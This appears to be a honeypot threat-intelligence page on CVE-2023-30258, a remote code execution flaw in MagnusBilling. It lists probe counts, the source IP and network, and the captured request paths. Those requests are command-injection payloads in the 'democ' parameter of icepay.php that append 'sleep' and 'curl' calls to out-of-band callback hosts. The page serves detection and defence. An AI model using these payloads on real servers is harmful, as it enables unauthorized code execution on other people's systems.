CVE-2023-30258: MagnusBilling - Remote Code Execution
HoneyLabs honeypots recorded 12 probes matching CVE-2023-30258 from 1 distinct source IP address in the last 7 days. Severity is rated critical.
Request paths that identify it
- /mbilling/lib/icepay/icepay.php?democ={{*}};sleep%207;
- /mbilling/lib/icepay/icepay.php?democ={{*}};curl%20{{*}};%23
Addresses probing it
| Source IP | Probes | Network | Country |
|---|---|---|---|
| 93.123.109.214 | 12 | Techoff Srv Limited | Bulgaria |
Networks it comes from
| ASN | Organisation | Probes | Source IPs |
|---|---|---|---|
| AS48090 | Techoff Srv Limited | 12 | 1 |
Where it comes from
| Country | Probes |
|---|---|
| Bulgaria | 12 |
Captured requests
- /mbilling/lib/icepay/icepay.php?democ=3KSZItDTRejyIs4VieuScWFqQY7;curl%20db4er2lr4boq567j5g5g43qn4y65zcfhi.oast.site;%23
- /mbilling/lib/icepay/icepay.php?democ=3KSZItDTRejyIs4VieuScWFqQY7;sleep%207;
- /mbilling/lib/icepay/icepay.php?democ=3KYm0RFqdz0d2HzUx9acuRrbjt7;curl%20db5t5t5r4bop88fdlblgrkmzn7jpxfjtk.oast.pro;%23
- /mbilling/lib/icepay/icepay.php?democ=3KYm0RFqdz0d2HzUx9acuRrbjt7;sleep%207;
HTTP client fingerprints
- b11cun060_0004001f_eefe5210
CVE report
CVE report
Open a specific CVE from the CVE tracker.